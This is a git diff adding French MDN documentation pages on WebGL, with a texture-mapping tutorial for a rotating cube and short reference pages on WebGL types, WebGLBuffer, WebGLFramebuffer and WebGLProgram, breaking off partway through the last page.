diff --git a/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html
new file mode 100644
index 0000000000..6e1d7bb67d
--- /dev/null
+++ b/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html
@@ -0,0 +1,278 @@
+---
+title: Utilisation des textures en WebGL
+slug: Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL
+tags:
+  - Tutoriel
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
+
+<p>Maintenant que notre programme peut faire tourner un cube 3D, appliquons lui une texture, au lieu d'avoir des couleurs unies pour ses faces.</p>
+
+<h2 id="Chargement_des_textures">Chargement des textures</h2>
+
+<p>La première chose à faire est d'ajouter le code pour charger les textures. Dans notre cas, nous utiliserons une texture unique, appliquée à chacune des six faces de notre cube en rotation ; mais la même technique peut être utilisée un nombre quelconque de textures.</p>
+
+<div class="note"><strong>Note :</strong> il est important de noter que le chargement des textures suit les <a href="/fr-FR/docs/Web/HTTP/CORS" title="en/HTTP access control">règles inter-domaines</a> ; donc vous pouvez seulement charger des textures depuis les sites pour lesquels votre contenu a l'approbation CORS. Voir les textures inter-domaines ci-dessous pour plus de détails.</div>
+
+<p>Le code qui charge la texture ressemble à ce qui suit : </p>
+
+<pre><code>//
+// Initialiser une texture et charger une image.
+// Quand le chargement d'une image est terminé, la copier dans la texture.
+//
+function loadTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Du fait que les images doivent être téléchargées depuis l'internet,
+  // il peut s'écouler un certain temps avant qu'elles ne soient prêtes.
+  // Jusque là, mettre un seul pixel dans la texture, de sorte que nous puissions
+  // l'utiliser immédiatement. Quand le téléchargement de la page sera terminé,
+  // nous mettrons à jour la texture avec le contenu de l'image.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  const image = new Image();
+  image.onload = function() {
+    gl.bindTexture(gl.TEXTURE_2D, texture);
+    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                  srcFormat, srcType, image);
+
+    // WebGL1 a des spécifications différentes pour les images puissances de 2
+    // par rapport aux images non puissances de 2 ; aussi vérifier si l'image est une
+    // puissance de 2 sur chacune de ses dimensions.
+    if (isPowerOf2(image.width) &amp;&amp; isPowerOf2(image.height)) {
+       // Oui, c'est une puissance de 2. Générer les mips.
+       gl.generateMipmap(gl.TEXTURE_2D);
+    } else {
+       // Non, ce n'est pas une puissance de 2. Désactiver les mips et définir l'habillage
+       // comme "accrocher au bord"
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+    }
+  };
+  image.src = url;
+
+  return texture;
+}
+
+function isPowerOf2(value) {
+  return (value &amp; (value - 1)) == 0;
+}</code></pre>
+
+<p>La routine <code>loadTexture()</code> commence par créer un objet texture WebGL <code>texture</code> en appelant la fonction WebGL {{domxref ("WebGLRenderingContext.createTexture()", "createTexture()")}}. Il téléverse ensuite un seul pixel bleu en utilisant {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Cela rend la texture immédiatement utilisable comme une couleur bleue unie, alors que cela peut prendre quelques instants pour télécharger notre image.</p>
+
+<p>Pour charger la texture à partir du fichier image, elle crée ensuite un objet Image et en affecte le src à l'URL de l'image que nous souhaitons utiliser comme texture. La fonction que nous affectons à <code>image.onload</code> sera appelée une fois terminé le téléchargement de l'image. À ce stade, nous appelons à nouveau {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, cette fois en utilisant l'image comme source pour la texture. Après cela, nous configurons le filtrage et l'habillage de la texture suivant que l'image que nous téléchargeons a ou non une puissance de 2 selon ses deux dimensions.</p>
+
+<p>WebGL1 ne peut utiliser que des textures non puissances de 2 avec d'un filtrage défini à NEAREST ou LINEAR, et il ne peut pas générer de mipmap pour elles. Leur mode d'habillage doit également être défini à CLAMP_TO_EDGE. Inversement, si la texture est une puissance de 2 dans les deux dimensions, alors WebGL peut faire un filtrage de meilleure qualité, il peut utiliser mipmap, et il peut définir le mode d'habillage à REPEAT ou MIRRORED_REPEAT.</p>
+
+<p>Un exemple de texture répétée est le pavage d'une image par quelques briques pour couvrir un mur de briques.</p>
+
+<p>Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref ("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Cela permettra des textures non-puissances-de-deux (NPOT) au prix du mipmapping, de l'habillage UV, du pavage UV, et de votre contrôle sur la manière dont le périphérique gérera votre texture.</p>
+
+<pre><code>// gl.NEAREST est aussi permis, au lieu de gl.LINEAR, du fait qu'aucun ne fait de mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Empêcher l'habillage selon la coordonnée s (répétition).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Empêcher l'habillage selon la coordonnée t (répétition).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);</code></pre>
+
+<p>A nouveau, avec ces paramètres, les appareils WebGL compatibles accepteront automatiquement toute résolution pour cette texture (jusqu'à leurs dimensions maximum). A défaut de la configuration ci-dessus, WebGL requiert que tous les échantillons de textures NPOT échouent, en retournant du noir transparent : <code>rgba (0,0,0,0)</code>.</p>
+
+<p>Pour charger l'image, ajoutons un appel à notre fonction <code>loadTexture()</code> dans notre fonction <code>main()</code>. Cela peut être ajouté après l'appel <code>initBuffers(gl)</code>.</p>
+
+<pre><code>// Charger la texture
+const texture = loadTexture(gl, 'cubetexture.png');</code>
+</pre>
+
+<h2 id="Application_de_la_texture_sur_les_faces">Application de la texture sur les faces</h2>
+
+<p>À ce stade, la texture est chargée et prête à être utilisée. Mais avant de pouvoir l'utiliser, nous devons définir l'application des coordonnées de texture aux sommets des faces de notre cube. Cela remplace tout le code précédemment existant pour la configuration des couleurs pour chacune des faces du cube dans <code>initBuffers()</code>.</p>
+
+<pre><code> const textureCoordBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
+
+  const textureCoordinates = [
+    // Front
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Back
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Top
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Bottom
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Right
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Left
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+                gl.STATIC_DRAW);
+
+...
+  return {
+    position: positionBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };</code></pre>
+
+<p>Tout d'abord, ce code crée un tampon WebGL dans lequel nous stockerons les coordonnées de texture pour chaque face, puis nous lions ce tampon comme étant le tableau dans lequel nous allons écrire.</p>
+
+<p>Le tableau <code>textureCoordinates</code> définit les coordonnées de texture correspondant à chaque sommet de chaque face. Notez que les coordonnées de texture vont de 0,0 à 1,0 ; les dimensions des textures sont normalisées dans une plage de 0,0 à 1,0 quelque soit leur taille réelle, aux fins d'application de la texture.</p>
+
+<p>Une fois que nous avons mis en place le tableau d'application de la texture, nous l'envoyons dans le tampon, de sorte que WebGL ait ces données prêtes pour son utilisation.</p>
+
+<h2 id="Mise_à_jour_des_shaders">Mise à jour des shaders</h2>
+
+<p>Le programme shader doit également être mis à jour pour utiliser des textures au lieu de couleurs unies.</p>
+
+<h3 id="Le_shader_de_sommet">Le shader de sommet</h3>
+
+<p>Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu de récupérer des données de couleur, il récupère à la place des données de coordonnées de texture.</p>
+
+<pre><code>const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+    }
+  `;</code></pre>
+
+<p>Le changement clé est ici qu'au lieu d'aller chercher la couleur du sommet, nous récupérons les coordonnées de la texture, et nous les transmettons au shader de sommet ; ceci indiquera l'emplacement dans la texture correspondant au sommet.</p>
+
+<h3 id="Le_shader_de_fragment">Le shader de fragment</h3>
+
+<p>Le shader de fragment doit également être mis à jour :</p>
+
+<pre><code>const fsSource = `
+    varying highp vec2 vTextureCoord;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      gl_FragColor = texture2D(uSampler, vTextureCoord);
+    }
+  `;</code></pre>
+
+<p>Au lieu d'attribuer une valeur de couleur à la couleur du fragment, la couleur du fragment est calculée en récupérant le <strong>texel</strong> (c'est-à-dire, le pixel dans la texture) sur la base de la valeur de <code>vTextureCoord</code>, qui est interpolée comme les sommets.</p>
+
+<h3 id="Emplacements_des_attributs_et_des_uniformes">Emplacements des attributs et des uniformes</h3>
+
+<p>Du fait que nous avons changé un attribut et ajouté un uniforme, nous devons rechercher leurs emplacements :</p>
+
+<pre><code>  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };</code>
+</pre>
+
+<h2 id="Dessin_du_cube_texturé">Dessin du cube texturé</h2>
+
+<p>Les modifications apportées à la fonction <code>drawScene()</code> sont simples.</p>
+
+<p>Tout d'abord, le code pour spécifier le tampon de couleurs a disparu, remplacé par ce qui suit :</p>
+
+<pre><code>// Indiquer à WebGL comment extraire les coordonnées de texture du tampon
+{
+    const num = 2; // chaque coordonnée est composée de 2 valeurs
+    const type = gl.FLOAT; // les données dans le tampon sont des flottants 32 bits
+    const normalize = false; // ne pas normaliser
+    const stride = 0; // combien d'octets à récupérer entre un jeu et le suivant
+    const offset = 0; // à combien d'octets du début faut-il commencer
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
+    gl.vertexAttribPointer(programInfo.attributeLocations.textureCoord, num, type, normalize, stride, offset);
+    gl.enableVertexAttribArray(programInfo.attributeLocations.textureCoord);
+}</code></pre>
+
+<p>Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, juste avant de dessiner :</p>
+
+<pre><code>  // Indiquer à WebGL que nous voulons affecter l'unité de texture 0
+  gl.activeTexture(gl.TEXTURE0);
+
+  // Lier la texture à l'unité de texture 0
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Indiquer au shader que nous avons lié la texture à l'unité de texture 0
+  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);</code></pre>
+
+<p>WebGL fournit un minimum de 8 unités de texture ; la première d'entre elles est <code>gl.TEXTURE0</code>. Nous indiquons à WebGL que nous voulons affecter l'unité 0. Nous appelons alors {{domxref ("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, qui lie la texture au point de liaison <code>TEXTURE_2D</code> de l'unité de texture 0. Nous indiquons alors au shader que pour l'<code>uSampler</code>, il faut utiliser l'unité de texture 0.</p>
+
+<p>Finalement, ajoutez <code>texture</code> comme paramètre de la fonction <code>drawScene()</code>, où elle est à la fois définie et appelée.</p>
+
+<pre><code>drawScene(gl, programInfo, buffers, texture, deltaTime);
+...
+function drawScene(gl, programInfo, buffers, texture, deltaTime) {</code></pre>
+
+<p>Arrivés ce point, le cube en rotation devrait être prêt à fonctionner.</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample6">Voir le code complet</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample6/">Ouvrir cette démo dans une nouvelle page</a></p>
+
+<h2 id="Textures_inter-domaines">Textures inter-domaines</h2>
+
+<p>Le chargement des textures WebGL est soumis aux contrôles d'accès inter-domaines. Pour que votre contenu puisse charger une texture d'un autre domaine, une approbation CORS doit être obtenue. Voir le <a href="https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS">Contrôle d'accès HTTP</a> pour plus de détails sur CORS.</p>
+
+<p>Voir cet <a href="http://hacks.mozilla.org/2011/11/using-cors-to-load-webgl-textures-from-cross-domain-images/">article sur hacks.mozilla.org</a> pour une explication de l'utilisation des images approuvées CORS comme textures WebGL, avec <a href="http://people.mozilla.org/~bjacob/webgltexture-cors-js.html">un exemple complet</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> le support CORS pour les texture WebGL et l'attribut <code>crossOrigin</code> pour les éléments image est implémenté dans {{Gecko("8.0")}}.</p>
+</div>
+
+<p>Les canevas 2D dégradés (en écriture seule) ne peuvent pas être utilisés comme des textures WebGL. Un {{HTMLElement ("canvas")}} 2D devient dégradé par exemple lorsqu'il est utilisé pour dessiner une image inter-domaine.</p>
+
+<div class="note">
+<p><strong>Note :</strong> le support CORS pour <code>drawImage</code> de Canvas 2D est implémenté dans {{Gecko ("9.0")}}. Cela signifie que l'utilisation d'une image inter-domaine ayant l'approbation CORS ne dégrade plus le canevas 2D, de sorte que le canevas 2D reste utilisable comme source d'une texture WebGL.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> le support CORS pour les vidéos inter-domaines et l'attribut <code>crossorigin</code> pour les éléments {{HTMLElement ("video")}} est implémenté dans {{Gecko ("12.0")}}.</p>
+</div>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
diff --git a/files/fr/web/api/webgl_api/types/index.html b/files/fr/web/api/webgl_api/types/index.html
new file mode 100644
index 0000000000..8c7156a119
--- /dev/null
+++ b/files/fr/web/api/webgl_api/types/index.html
@@ -0,0 +1,167 @@
+---
+title: Types WebGL
+slug: Web/API/WebGL_API/Types
+tags:
+  - Reference
+  - Types
+  - WebGL
+translation_of: Web/API/WebGL_API/Types
+---
+<div>{{WebGLSidebar}}</div>
+
+<p>Les types suivants sont utilisés dans les interfaces <a href="/fr-FR/docs/Web/API/WebGL_API">WebGL</a>.</p>
+
+<h2 id="WebGL_1">WebGL 1</h2>
+
+<p>Ces types sont utilisés à l'intérieur d'un {{domxref("WebGLRenderingContext")}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type</td>
+   <td class="header">Type Web IDL</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>GLenum</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Utilisé pour les enums. Voir aussi la liste des <a href="/fr-FR/docs/Web/API/WebGL_API/Constants">constantes</a>.</td>
+  </tr>
+  <tr>
+   <td><code>GLboolean</code></td>
+   <td><code>boolean</code></td>
+   <td>Un {{jsxref("Boolean")}}.</td>
+  </tr>
+  <tr>
+   <td><code>GLbitfield</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Un champ de bits stockant plusieurs bits logiques. Utilisé par exemple dans {{domxref("WebGLRenderingContext.clear()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>GLbyte</code></td>
+   <td><code>byte</code></td>
+   <td>Entier signé en complément à deux sur 8 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLshort</code></td>
+   <td><code>short</code></td>
+   <td>Entier signé en complément à deux sur 16 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLint</code></td>
+   <td><code>long</code></td>
+   <td>Entier signé en complément à deux sur 32 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLsizei</code></td>
+   <td><code>long</code></td>
+   <td>Utilisé pour les tailles (par ex., la largeur et la hauteur du tampon de dessin).</td>
+  </tr>
+  <tr>
+   <td><code>GLintptr</code></td>
+   <td><code>long long</code></td>
+   <td>Type spécial pour l'arithmétique de pointeur.</td>
+  </tr>
+  <tr>
+   <td><code>GLsizeiptr</code></td>
+   <td><code>long long</code></td>
+   <td>Type spécial pour l'arithmétique de pointeur.</td>
+  </tr>
+  <tr>
+   <td><code>GLubyte</code></td>
+   <td><code>octet</code></td>
+   <td>Entier non signé en complément à deux sur 8 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLushort</code></td>
+   <td><code>unsigned short</code></td>
+   <td>Entier non signé en complément à deux sur 16 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLuint</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Entier non signé en complément à deux sur 32 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLfloat</code></td>
+   <td><code>unrestricted float</code></td>
+   <td>Nombre en virgule flottante IEEE sur 32 bits.</td>
+  </tr>
+  <tr>
+   <td><code>GLclampf</code></td>
+   <td><code>unrestricted float</code></td>
+   <td>Nombre en virgule flottante IEEE sur 32 bits borné.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="WebGL_2">WebGL 2</h2>
+
+<p>Ces types sont utilisés à l'intérieur d'un {{domxref("WebGL2RenderingContext")}}. Tous les types WebGL 1 sont également utilisés.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type</td>
+   <td class="header">Type Web IDL</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>GLint64</code></td>
+   <td><code>long long</code></td>
+   <td>Nombre entier sur 64 bits signé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Extensions_WebGL">Extensions WebGL</h2>
+
+<p>Ces types sont utilisés à l'intérieur des <a href="/fr-FR/docs/Web/API/WebGL_API/Using_Extensions">extensions WebGL</a>.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Type</td>
+   <td class="header">Type Web IDL</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>GLuint64EXT</code></td>
+   <td><code>long long</code></td>
+   <td>Nombre entier sur 64 bits non signé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.1", "Types")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2', "#3.1", "Types")}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Définit des types supplémentaires.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('EXT_disjoint_timer_query', "", "GLuint64EXT")}}</td>
+   <td>{{Spec2('EXT_disjoint_timer_query')}}</td>
+   <td>Ajoute <code>GLuint64EXT</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglbuffer/index.html b/files/fr/web/api/webglbuffer/index.html
new file mode 100644
index 0000000000..fc663571c6
--- /dev/null
+++ b/files/fr/web/api/webglbuffer/index.html
@@ -0,0 +1,67 @@
+---
+title: WebGLBuffer
+slug: Web/API/WebGLBuffer
+tags:
+  - API
+  - Reference
+  - WebGL
+translation_of: Web/API/WebGLBuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>L'interface <strong>WebGLBuffer</strong> fait partie de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> et représente un objet tampon opaque stockant des données telles que des sommets ou des couleurs.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>WebGLBuffer</code> ne définit aucune méthode ou propriété en propre, et son contenu n'est pas directement accessible. Lorsque vous travaillez avec des objets <code>WebGLBuffer</code>, les méthodes suivantes du {{domxref ("WebGLRenderingContext")}} sont utiles :</p>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_tampon">Création d'un tampon</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createBuffer();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.4", "WebGLBuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteBuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isBuffer()")}}</li>
+ <li>Autres tampons : {{domxref("WebGLFramebuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglframebuffer/index.html b/files/fr/web/api/webglframebuffer/index.html
new file mode 100644
index 0000000000..807eb9190a
--- /dev/null
+++ b/files/fr/web/api/webglframebuffer/index.html
@@ -0,0 +1,65 @@
+---
+title: WebGLFramebuffer
+slug: Web/API/WebGLFramebuffer
+tags:
+  - API
+  - Reference
+  - WebGL
+translation_of: Web/API/WebGLFramebuffer
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>L'interface <strong>WebGL Framebuffer</strong> fait partie de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> et représente une collection de tampons servant de destination de rendu.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet <code>WebGLFramebuffer</code> ne définit aucune méthode ou propriété en propre, et son contenu n'est pas directement accessible. Lorsque vous travaillez avec des objets <code>WebGLFramebuffer</code>, les méthodes suivantes du {{domxref("WebGLRenderingContext")}} sont utiles :</p>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_tampon_d'image">Création d'un tampon d'image</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canevas');
+var gl = canevas.getContext('webgl');
+var tampon = gl.createFramebuffer();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.5", "WebGLFramebuffer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLFramebuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isFramebuffer()")}}</li>
+ <li>Autres tampon : {{domxref("WebGLBuffer")}}, {{domxref("WebGLRenderbuffer")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglprogram/index.html b/files/fr/web/api/webglprogram/index.html
new file mode 100644
index 0000000000..1602a4efc6
--- /dev/null
+++ b/files/fr/web/api/webglprogram/index.html
@@ -0,0 +1,101 @@
+---
+title: WebGLProgram
+slug: Web/API/WebGLProgram
+tags:
+  - WebGL
+  - WebGLProgram
+translation_of: Web/API/WebGLProgram
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Le <strong>WebGLProgram</strong> fait partie de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> et il est une combinaison de deux {{domxref ("WebGLShader")}} compilés constitués d'un shader de sommet et d'un shader de fragment (tous deux écrits en GLSL). Ces dernier sont ensuite liés dans un programme utilisable.</p>
+
+<pre class="brush: js">var programme = gl.createProgram();
+
+// Lier les shaders préexistants
+gl.attachShader(programme, shaderDeSommet);
+gl.attachShader(programme, shaderDeFragment);
+
+gl.linkProgram(programme);
+
+if ( !gl.getProgramParameter( programme, gl.LINK_STATUS) ) {
+  var info = gl.getProgramInfoLog(programme);
+  throw 'Impossible de compiler le program WebGL.\n\n' + info;
+}
+</pre>
+
+<p>Voir {{domxref("WebGLShader")}} pour des informations sur la création de <code>shaderDeSommet</code> et de <code>shaderDeFragment</code> dans le programme ci-dessus.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_du_programme">Utilisation du programme</h3>
+
+<p>Les étapes pour travailler effectivement avec le programme impliquent d'indiquer à la GPU d'utiliser le programme, de lier les données et les options de configuration appropriées, et enfin, de dessiner quelque chose à l'écran.</p>
+
+<pre class="brush: js">// Utiliser le programme
+gl.useProgram(programme);
+
+// Lier les données d'attribut existantes
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.enableVertexAttribArray(attributeLocation);
+gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0);
+
+// Dessiner un unique triangle
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+</pre>
+
+<h3 id="Suppression_du_programme">Suppression du programme</h3>
+
+<p>S'il y a une erreur lors de l'édition de liens du programme, ou si vous voulez supprimer un programme existant, alors c'est tout simple, il suffit d'exécuter {{domxref ("WebGLRenderingContext.deleteProgram()")}}. Cela libère la mémoire du programme lié.</p>
+
+<pre class="brush: js">gl.deleteProgram(programme);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.6", "WebGLProgram")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité dans cette page est générée à partir de données structurées. Si vous voulez contribuer aux données, jettez un œil à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("api.WebGLProgram")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
